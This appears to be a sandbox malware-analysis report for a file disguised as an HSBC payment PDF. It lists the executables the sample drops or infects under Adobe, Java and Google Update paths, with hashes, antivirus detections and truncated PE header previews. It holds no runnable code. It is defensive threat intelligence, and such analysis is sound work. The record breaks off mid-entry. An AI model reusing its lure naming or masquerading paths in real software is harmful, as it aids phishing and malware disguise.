SHA-256:	D3ED75388C69ECB90B499692161DB94B47E5BC0A112212F591562EAE3129DF8A
SHA-512:	1B7BBF90910BE8830D5A35DBB3CF2E40AA063A191C05C7A705296EA0C517BDE220FE48BD1981981C456EC42BD7ACBCDFB3F25FE7BCB4D24C384D4E1832475333
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........4...Uu..Uu..Uu..=v..Uu..=q..Uu..=p.pUu..=s..Uu..8q..Uu..8v..Uu..8p.@Uu.....Uu..=t..Uu..Ut..Wu.Z;p..Uu.Z;...Uu..U...Uu.Z;w..Uu.Rich.Uu.................PE..L......d.................N...P...............`....@.......................... $......y.......................................`..@.......(...............................T...............................@............`..L............................text...zL.......N.................. ..`.rdata.......`.......R..............@..@.data...\D...........p..............@....rsrc...(...........................@..@.reloc...............<..............@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1445888
Entropy (8bit):	4.810142380756184
Encrypted:	false
SSDEEP:	24576:IxGBcmly/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:kGy+yLNiXicJFFRGNzj3
MD5:	9244278F3A4B451378B09E3B314A4B1A
SHA1:	60559B16AA6408FBE8D3E0AC84796FF494E58E26
SHA-256:	19D4BDD817AF242D745544406D5C5E92873D67DC5AA1DB43B13AC3E8562FC00E
SHA-512:	765DAEA6A28C9A10EDC2F6B15749F2174F3EB871DE0C07C1A5422F6FA4F4D909C0DAE4E3A3C93075974946028ECBB9FED72E5337FF8C6D9C8CACE31CE8AED8E7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........]...3...3...3...0...3...6.h.3.,.7...3.,.0...3.,.6...3...7...3...2...3...2.G.3.e.:...3.e....3.....3.e.1...3.Rich..3.................PE..L...}..d..........................................@...........................!.............................................`D......................................@...p...........................p...@....................B.......................text.............................. ..`.rdata..t...........................@..@.data........`.......@..............@....didat..4............N..............@....rsrc................P..............@..@.reloc...p...........`..............@...........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1800192
Entropy (8bit):	5.302171267223269
Encrypted:	false
SSDEEP:	24576:j0vHyTLj8trn3wsD/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:OWj4rgsDLNiXicJFFRGNzj3
MD5:	CD9B74EEC4FC6608776A073EC7F86B65
SHA1:	D5641C7F03BFFFEEAC4155CA9C55C7C95D8063C3
SHA-256:	849CC9EC8A157FCBD3463CEE83CB16D89846AEA8459588DF3630A5B0F9E66703
SHA-512:	AEB5A77D77888D0454F65996EF68CAF411897EEC2180FEC6A9B9DD5CAF9BFA5BA7EA28FDD88ED9B28761EBEDDD5F1241E4CE65B452F5AF1B969779AE4384590A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g=H(#\&{#\&{#\&{77%z2\&{77#z.\&{A$.{"\&{A$"z1\&{A$%z5\&{A$#zu\&{77"z;\&{77 z"\&{77'z4\&{#\'{.\&{.%"z$\&{.%#z.\&{.%.{"\&{#\.{!\&{.%$z"\&{Rich#\&{........PE..L.....d............................7........0....@..........................p&......7......................................<........P...\|..........................0m..............................pl..@............0..t............................text...?........................... ..`.rdata.......0......................@..@.data....3....... ..................@....rsrc....\|...P...~..................@..@.reloc..............................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1781760
Entropy (8bit):	7.271319865125773
Encrypted:	false
SSDEEP:	49152:34ijwGJra0uAUfkVy7/ZaLNiXicJFFRGNzj3:3NjwGJrakUQyc7wRGpj3
MD5:	FEEC30C8FC71F87A2FEB628FB57C4217
SHA1:	D3158BBAD1B5A5E5347AC979F8648EE962CF6B2E
SHA-256:	003A8BCE6B408D5CC7A09F9CDF42CA9AEF2160FE220A7E13F5DD0C9FD7ECE163
SHA-512:	825936EB2C89AC8C2892F57FAC918FBBC2D975FB0B26AEA290ABF0808BC35F3C039F6205FB42A440032BED65E4586BEB68479FB3C4D7F04107DB2CA5A91786CF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$...................................p.....l.......................................................<......<....<.n.............<......Rich............................PE..L.....d.................:...*...............P....@.................................i!..........................................,.......................................................................@............P...............................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data...PG...0...2..................@....rsrc................D..............@..@.reloc...p.......`..................@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1318400
Entropy (8bit):	7.438350441649306
Encrypted:	false
SSDEEP:	24576:ReR0gB6axoCxyR6RLQRF/TzJqe58Bim1/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:TgHxWR6uBTzge5Mim1LNiXicJFFRGNzb
MD5:	927F607B3E77614B66CDF124699E78B1
SHA1:	0D70EB8822CDDA56F049E9DDEF46A6C9BE2EB91E
SHA-256:	DBB01A9B9BFBC3B006DE86F7E395F5A7434891F9DB9930440A0E3C765523F0E1
SHA-512:	F0C7314C2B46A6A481EDBB4B05ACE2BC02832DFDFEA4233B19F88564A9C50F9201A784A0286E7DF8599153351B238F3B8DE8D46055E8E7C3D630872D23C311E1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........r.b.!.b.!.b.!... .b.!... xb.!..1!.b.!... .b.!... .b.!... .b.!... .b.!... .b.!... .b.!.b.!.c.!?.. .b.!?.. .b.!?.3!.b.!.b[!.b.!?.. .b.!Rich.b.!........PE..L.....d..........................................@..........................`.......D......................................t$.....................................`T...............................S..@............................................text...L........................... ..`.rdata..0Z.......\..................@..@.data...8<...@...(...&..............@....rsrc...............N..............@..@.reloc...P.......@..................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1530880
Entropy (8bit):	4.9949106109873815
Encrypted:	false
SSDEEP:	24576:tpwOtO7z/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:tmOtmzLNiXicJFFRGNzj3
MD5:	5D7FCABD1C9E9C1E5CEB47853FC67825
SHA1:	77E821A8E7F095DDFE40A43954E3F7825B8D3209
SHA-256:	3030C38A2900D43BC3F85E25811EEA8225CB983456E025FC3531CE56FFE5753D
SHA-512:	4A48C7803AA0C37CF39C78AD23BAC1C0DF10F63DC9E6575300A38B4DF862E987097565DF42FC342D620AE8767ACB78D5D39539C9080EFB7A45716578DA1D95F5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x..F<...<...<...(..3...(......(......^.F.;...^......^......^..)...(..5...<...N......3.....D.=......=...Rich<...........................PE..L.....d.................N...t....../........`....@..........................P".....I........................................!..d....P..............................P...T...............................@............`...............................text...\M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc........P.......*..............@..@.reloc...p..........................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1530880
Entropy (8bit):	4.99560178821691
Encrypted:	false
SSDEEP:	24576:3KU/h/4KI/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:3r/VILNiXicJFFRGNzj3
MD5:	9D13D8C059A1EE862FAE39EC806168BA
SHA1:	35E0962079F1F9F5DFAC13B7306E731C3F8A6AEF
SHA-256:	B4CF69DD083FF8B291FAE7701999AC9969C99D6D4171BC212D79888D5B51B62F
SHA-512:	3AFF71773A001A546A8B05B5CF5E9723F226F80E1855D2B7BED8240651128F647BCF60623BE9ADC7F65BB09AF1E8421E7C2727A2BCC2496764290B6771DA5F46
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9..#}..p}..p}..pi.qr..pi.q..pi.qo..p..}pz..p..qX..p..qo..p..qh..pi.qt..p}..p...p..qr..p...p\|..p..q\|..pRich}..p........................PE..L.....d.................N...t......7........`....@..........................P"......].......................................!..d....P.............................P...T...............................@............`...............................text....M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc.......P.......*..............@..@.reloc...p..........................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1669632
Entropy (8bit):	5.069220551824723
Encrypted:	false
SSDEEP:	24576:Kx7YiBLZ05jNTmJWExn/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:KxUiHIjNgnLNiXicJFFRGNzj3
MD5:	78E0F37B74B5A0F5EC7F1563DCB49E13
SHA1:	03F5CB327A9EB0977E22A2496400F3BAD7E2D875
SHA-256:	9E305B899ACA3DBC69354351F11607FF00135E65656EFBBBE4AF87746CDF0419
SHA-512:	CC8615FABD92B35C7E1F344D3A969FFC61C6D704811E9A9744B5C2CE68D469BE7CE8BCF7805D36742E9CDF2478DF60AFB17428B0D4B846527F55DB2C1968B963
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p...4rv.4rv.4rv. .u.>rv. .s..rv. .r.&rv.V.r.!rv.V.u.,rv.V.s..rv. .w.?rv.4rw..rv..r.&rv..s.0rv....5rv..t.5rv.Rich4rv.................PE..L.....d............................^.............@...........................%......-..........................................x...................................L...T............................4..@...................,........................text...,........................... ..`.rdata..:(.......*..................@..@.data............t..................@....rsrc................:..............@..@.reloc.......0......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1574912
Entropy (8bit):	5.027369510370842
Encrypted:	false
SSDEEP:	24576:nlnRkld6fgJcEwix9/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:7okfgJcEwC9LNiXicJFFRGNzj3
MD5:	A91A0EEB84356FBE7DE527F50D0E4FE0
SHA1:	C1E4C1F8B7956D3EC7B24A232ED59D14E4F84CEA
SHA-256:	86E48BAE8A914295E28CDB3347C9F8836FC225FE113D18C1B4B600CF1A2BA653
SHA-512:	53E095BBE54F44F1CE598C33234F3A6D4722362FA8F4EB9BEBD8AF4C25FA4850C94151347F3DC410712282A8BFD30A79972E90DE158791670AAFA0DDA979E20A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\|../../../L...../L...8./+...../+...../+...../L...../L...../../4./..../.s/../..../Rich../........................PE..L...A..d.............................s............@...........................#.............................................<........P...2..............................T...........................8...@............................................text............................... ..`.rdata...%.......&..................@..@.data...d(... ......................@....rsrc....2...P...4..................@..@.reloc...............H..............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1677824
Entropy (8bit):	5.08498493280695
Encrypted:	false
SSDEEP:	24576:FWR5k8hb0Haw+xN/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:FWLk8SHawmNLNiXicJFFRGNzj3
MD5:	A9DE3699FAA8B137EAE31B8B7C04B91D
SHA1:	BD577A07ED495C4274E94F542F7AA78FBECD5195
SHA-256:	0CDDA4DABD00F6675DC9FE1AC5B1D9F4A53E91F502805D27A4FB90F6FE41A8A1
SHA-512:	85D29AFD92606BAD73AD0BF9760CE5244704D57F303277AB8D70BFEE67DDD593AB61317FD816A13F00E46E9E95B50879AC813DF4F15D92C1D679E40483192E00
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........v.s.%.s.%.s.%...$ms.%...$.s.%...$.s.%...$.s.%...$.s.%...$.s.%...$.s.%.s.%xr.%...$.s.%...%.s.%...$.s.%Rich.s.%................PE..d...X..d.........."..........R......L..........@..............................$........... ..................................................M....... ...2.......,................... ..T............................ ..................(............................text............................... ..`.rdata..............................@..@.data....6...p.......X..............@....pdata...,...........j..............@..@_RDATA..............................@..@.gxfg...0...........................@..@.gehcont............................@..@.rsrc....2... ...4..................@..@.reloc...p...`......................@...........................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1437696
Entropy (8bit):	4.700953920317136
Encrypted:	false
SSDEEP:	24576:CkCKABl/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:CxKklLNiXicJFFRGNzj3
MD5:	91FE4D84E52F2AB14CBE2391FFF95182
SHA1:	C5048F67D43007DB770F3086ED83168DE23C6D77
SHA-256:	78C52F39ACCE51A76A0D3C8CF68851978A73E01F54E9326F82720B5A40F1DA98
SHA-512:	B38299ACFF35B55AEEFE570CA983CDD840235472061559B815E70CB4900F948045214AD8DA8AEA5AAC510881368ADC39B0DC3438484BE49A4D1A3A22B07D2135
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........;...U..U..U.M.V..U.M.P...U.M.Q..U..Q..U..V..U.*.P..U.M.T..U..T...U..\..U....U.....U..W..U.Rich..U.........PE..L...9..d.................D..........Ru.......`....@........................... ......0......................................P...x....... ...........................p[..T............................[..@...............L............................text....B.......D.................. ..`.data...x....`.......H..............@....idata...............R..............@..@.rsrc... ............\..............@..@.reloc...p...........@..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1383936
Entropy (8bit):	4.680879131054022
Encrypted:	false
SSDEEP:	24576:0jNWBPm/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:GNm+LNiXicJFFRGNzj3
MD5:	F63C3954CEB6835D87655E6F990D5649
SHA1:	ABD2C8AEA4AE228446A7836CDBB0A22BCEDB2190
SHA-256:	E6FA8E41C23BBB36997A67CB781299B8307C77140E51A00907E85F812480AF84
SHA-512:	E8CD43152A8DB5DD8778629D03A2F737FB9CB5607DCFF4FD9576E6391DFD01FF2BED41A97FA09647B11EFAFDB13054E267BAF5A88FE5DB19ED2D84F0020FE229
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............Z...Z...Z..[..Z..[L..Z..[..Zu.[.Zu.[..Zu.[..Z..[..Z...Z...Z..[...Z..]Z...Z..5Z...Z..[...ZRich...Z........................PE..L...:..d..........................................@........................... .....Ns.......................................5..<....`..p2...........................+..T...........................X+..@............................................text...h........................... ..`.rdata...\.......^..................@..@.data........@.......0..............@....rsrc...p2...`...4...:..............@..@.reloc...p...........n..............@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1458176
Entropy (8bit):	4.778606957671975
Encrypted:	false
SSDEEP:	24576:5ijRyhdsRrU/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:5ijsoRULNiXicJFFRGNzj3
MD5:	B42D394DF3454AE05D5C218B588789D4
SHA1:	959B78BA3ACF22DAF431E4B28E2B08DA29F91961
SHA-256:	1C1FF62B90C55DC98632A2156D472B057906C4A72E76F64F48AA6DE2749B4EC6
SHA-512:	5B6666720F32927D34EAE080EB66C41DA2372613B9059831DD9C0EF55BB16E9DFCA2A1FA3AA76CC66C71446B07812B13B9A54C7474136F38DC88BFCEF14EF005
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9...X..X..X..~...X..~..X...2..X...2..X...2...X...3..X..~..X..~..X..X..?Y...3..X...3..X..Rich.X..........PE..d...A..d.........."......R...z.......R.........@..............................!........... ..................................................p..x....................................V..T...........................0W...............p...............................text....P.......R.................. ..`.rdata.......p.......V..............@..@.data...x3...........d..............@....pdata...............t..............@..@_RDATA..............................@..@.gxfg...............................@..@.gehcont............................@..@.reloc...`... ......................@...........................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1498112
Entropy (8bit):	4.895441279741585
Encrypted:	false
SSDEEP:	24576:v16DmRF+wpx/Qaf7/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ymRF+wn/Jf7LNiXicJFFRGNzj3
MD5:	F2E999B31E46A33A5511D0ADEAED278C
SHA1:	6B49EB83848BC96C3A549060FB19690A62494EF1
SHA-256:	DED04FBB729A843A5014864E442D9D6A33B40C951FA27BD613C39ECFC6FDAD8C
SHA-512:	9C435AA2932DE2EBE4047809B0FF65DE77492531C88F3D61BE38CA306E68F15EDBAA2BF2F5F8796253D9AA26C66E1B364A496E5996B9803739D631EBED16BDC9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|6..8W..8W..8W...%..6W...%...W...=...W...=...W...=..{W...%.. W...%..#W..8W...V..L<...W..L<s.9W..L<..9W..Rich8W..................PE..L...Y..d.....................r....................@...........................!.....~A...............................................0...2..............................T...........................h...@............................................text...e........................... ..`.rdata..b...........................@..@.data....'..........................@....rsrc....2...0...4..................@..@.reloc.......p......................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1383936
Entropy (8bit):	4.680845476497741
Encrypted:	false
SSDEEP:	24576:dE21BPR/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:62bZLNiXicJFFRGNzj3
MD5:	905099D0E8106BE567206285D2286994
SHA1:	D7201C8A8EEBD76E9BE636B918BA2671F30D3485
SHA-256:	6FF7FEEE42EC2021549DF8E5672EE4C3D0CAEB0F31C01034D96DF933D1231146
SHA-512:	DDBE0CFE3D32C8BE93624C89F87C0885C3790714AEF64592F85A8427A0A8B1DF649C5890F01F8864E9D57A0F6FCE5308B36B1EFB53E52013383D4FEA0099E9FE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............Z...Z...Z..[..Z..[L..Z..[..Zu.[.Zu.[..Zu.[..Z..[..Z...Z...Z..[...Z..]Z...Z..5Z...Z..[...ZRich...Z........................PE..L...;..d..........................................@........................... .....r........................................5..<....`..p2...........................+..T...........................h+..@............................................text...h........................... ..`.rdata...\.......^..................@..@.data........@.......0..............@....rsrc...p2...`...4...:..............@..@.reloc...p...........n..............@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	105669632
Entropy (8bit):	7.999988662877057
Encrypted:	true
SSDEEP:	3145728:KLAKHgDx/oat8qdTsdZDAE1mXXaYS79zDIICU:oBWx/pt8U7E6aZRfIICU
MD5:	A7088D2F1E3A123C2303F66BE53D7FAB
SHA1:	19F5AEB48CB7AAED5B59801746502FB5090153B7
SHA-256:	6DE7265CC7E4B7849864A2300EC0676B8C76A429FCEE96B5A5A821AC477BA428
SHA-512:	E094454D9A09D07B7ACAFEE2D91B6DCFBD5B46B343896ECB4CB02662B0093C073F0533BDCD5E9D468A6082FC5C2A508FBAA48884D29A2138E5BBA9C00E79C616
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......4...LC................@..............................L.......L... ..................................................X..P........+C.....\|....................W..............................PP..@............Z...............................text...&2.......4.................. ..`.rdata.......P.......8..............@..@.data...p....p.......N..............@....pdata..\|............P..............@..@.00cfg..0............T..............@..@.retplne.............V...................rsrc....+C......,C..X..............@..@.reloc........C.......C.............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1313792
Entropy (8bit):	4.567754203403392
Encrypted:	false
SSDEEP:	12288:IJiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:IV/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	961C9E0A666992043A5CD1DE4609A6C9
SHA1:	840818A0F30EC387A50F2D576A24661B7EB32561
SHA-256:	5DB5512E00D7BEF6FDEA15E9AEC3475ED5C27B09B46B6635EBDF317FEE08C62C
SHA-512:	5466E95B9FEA264CE25B5741188F0890CEF7BDD6D7D801BC0B8F10CA4F134DB39049ACC00DCC01962F6435C02939861BF095D03DDE44EE6EA2D213EF658DBBB3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8.C.VWC.VWC.VWJ..WS.VW!.WVA.VW!.SV\.VW!.RVO.VW!.UVB.VWW.WVJ.VWC.WW!.VW.SVB.VW..WB.VW.TVB.VWRichC.VW........PE..L.....d.................8...6.......4.......P....@..................................J......................................$i.......................................b..T............................a..@............P...............................text....7.......8.................. ..`.rdata...#...P...$...<..............@..@.data...L............`..............@....rsrc................b..............@..@.reloc...`...........l..............@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.528877457721958
Encrypted:	false
SSDEEP:	12288:E2siJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:dW/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	35258FEFB2E303A0D201EF72DDA3A4A6
SHA1:	02030DB9ECA3863F9703520DF237C2C653B897F0
SHA-256:	E6AA029E23356B100BA7E3148F0CC72A46E2209BE641412DF562F6A87D9210D6
SHA-512:	271BF41E6BFB68E86ABB72BA0D0DC61B6B1CBA2C987C74E1C8DB9C947BFCEC72BEFDCD613A91E92B768AD1587AC6E46DE3D53C9AB3F4DA40E3E6728F85D540B3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..d...........................h"..T............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0....... ..............@....rsrc...d....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\java.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1530880
Entropy (8bit):	4.9949149928982655
Encrypted:	false
SSDEEP:	24576:EpwOtO7z/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:EmOtmzLNiXicJFFRGNzj3
MD5:	51B97218FB8B0873831EA7CCD8AE7933
SHA1:	922A24CDEC6FC81AD043395CA1AC4E6C0A888353
SHA-256:	403DBCBADA3B78249EFBFE2F8C1BEA631925E96B72CF4722990A837212849DFE
SHA-512:	6DEB02C19C4EA9177DA682E00C24661D20B1499AC0C937817432A95AF29553B8B6A100FBF725144BFDECC666435E8A608DBAB3232A59A43F1105E8BED41349EE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x..F<...<...<...(..3...(......(......^.F.;...^......^......^..)...(..5...<...N......3.....D.=......=...Rich<...........................PE..L.....d.................N...t....../........`....@..........................P"..............................................!..d....P..............................P...T...............................@............`...............................text...\M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc........P.......*..............@..@.reloc...p..........................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1368064
Entropy (8bit):	4.635835347853591
Encrypted:	false
SSDEEP:	24576:w1C/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:w8LNiXicJFFRGNzj3
MD5:	38FB01419B8C772FB58832012F5214CF
SHA1:	200C315038180F3F05BA2FC8F2035726694420D8
SHA-256:	A4DD391E3E8177AE222B62861F6216E9595274AB52420DE02683AEA67896CD9F
SHA-512:	B279D2B5D6C5C556B3CC96058A0918CD20BA553FBBDD909F5D969804D3C1CE82A07D79DAD49E645E43863B4E6D3AFA4859B103767DC99D906CC4031D72D18DBB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......VT.f.5.5.5.5.5.5.M\5.5.5pM.4.5.5pM.4.5.5pM.4.5.5.^.4.5.5.5.5.5.5pM.455.5.L.4.5.5.L05.5.5.L.4.5.5Rich.5.5........................PE..L.....d.................P...........K.......`....@.................................MR......................................8...@......................................T...............................@............`...............................text....O.......P.................. ..`.rdata...g...`...h...T..............@..@.data...@...........................@....rsrc...............................@..@.reloc...`...p.......@..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1530880
Entropy (8bit):	4.9956057804374785
Encrypted:	false
